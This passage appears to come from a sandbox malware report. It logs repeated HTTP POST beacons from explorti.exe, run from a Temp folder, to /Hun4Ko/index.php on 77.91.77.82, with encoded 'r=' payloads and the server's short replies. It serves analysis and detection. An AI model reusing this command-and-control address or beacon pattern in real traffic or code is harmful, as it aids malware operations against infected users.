Jun 28, 2024 13:36:53.198106050 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:53.885365963 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:53.886389017 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:54.102508068 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49749	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:54.213587999 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:54.897890091 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:54.898739100 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:55.113255024 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49750	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:55.230598927 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:55.926636934 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:55.927464962 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:56.149373055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49751	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:56.261343002 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:56.931538105 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:56.932333946 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:57.143922091 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49752	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:57.261218071 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:57.927162886 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:57.929538965 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:58.144998074 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49753	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:58.264431953 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:58.964123011 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:58.965131044 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:59.186172962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49754	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:59.307373047 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:59.984132051 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:59.985104084 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:00.200962067 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49755	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:00.322952032 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:00.997962952 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:00.998579979 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:01.212579012 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49756	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:01.323122978 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:02.198045015 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:02.198658943 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:02.411288977 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49757	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:02.525850058 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:03.202166080 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:03.202963114 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:03.426495075 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49758	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:03.541387081 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:04.212548018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:04.213439941 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:04.425492048 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49759	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:04.541435003 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:05.339934111 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:05.346585989 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:05.562622070 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49760	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:05.681998014 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:06.375780106 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:06.376641989 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
